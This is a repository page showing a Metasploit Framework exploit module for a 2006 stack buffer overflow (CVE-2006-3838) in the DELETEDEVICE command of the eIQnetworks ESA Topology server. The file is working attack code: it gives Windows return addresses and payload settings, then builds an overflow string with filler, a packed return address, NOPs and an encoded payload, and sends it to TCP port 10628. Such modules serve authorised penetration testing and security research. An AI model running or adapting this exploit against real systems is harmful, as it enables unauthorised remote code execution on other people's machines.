Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / misc / eiqnetworks_esa_topology.rb @ master

History | View | Annotate | Download (1.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Tcp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in eIQnetworks
24
                                Enterprise Security Analyzer. During the processing of
25
                                long arguments to the DELETEDEVICE command in the Topology
26
                                server, a stack-based buffer overflow occurs.
27

    
28
                                This module has only been tested against ESA v2.1.13.
29
                        },
30
                        'Author'         => 'MC',
31
                        'Version'        => '$Revision$',
32
                        'References'     =>
33
                                [
34
                                        ['CVE', '2006-3838'],
35
                                        ['OSVDB', '27528'],
36
                                        ['BID', '19164'],
37
                                ],
38
                        'DefaultOptions' =>
39
                                {
40
                                        'EXITFUNC' => 'seh',
41
                                },
42
                        'Payload'        =>
43
                                {
44
                                        'Space'    => 250,
45
                                        'BadChars' => "\x00\x0a\x0d\x20",
46
                                        'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
47
                                },
48
                        'Platform'       => 'win',
49
                        'Targets'        =>
50
                                [
51
                                        [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
52
                                        [ 'Windows XP SP2 English',   { 'Ret' => 0x77d57447 } ],
53
                                        [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],
54
                                ],
55
                        'Privileged'     => false,
56
                        'DisclosureDate' => 'Jul 25 2006'
57
                        ))
58

    
59
                register_options(
60
                        [
61
                                Opt::RPORT(10628)
62
                        ], self.class)
63
        end
64

    
65
        def exploit
66
                connect
67

    
68
                print_status("Trying target #{target.name}...")
69

    
70
                filler  =  rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)
71

    
72
                sploit  =  "DELETEDEVICE&" + filler + payload.encoded
73

    
74
                sock.put(sploit)
75

    
76
                handler
77
                disconnect
78
        end
79

    
80
end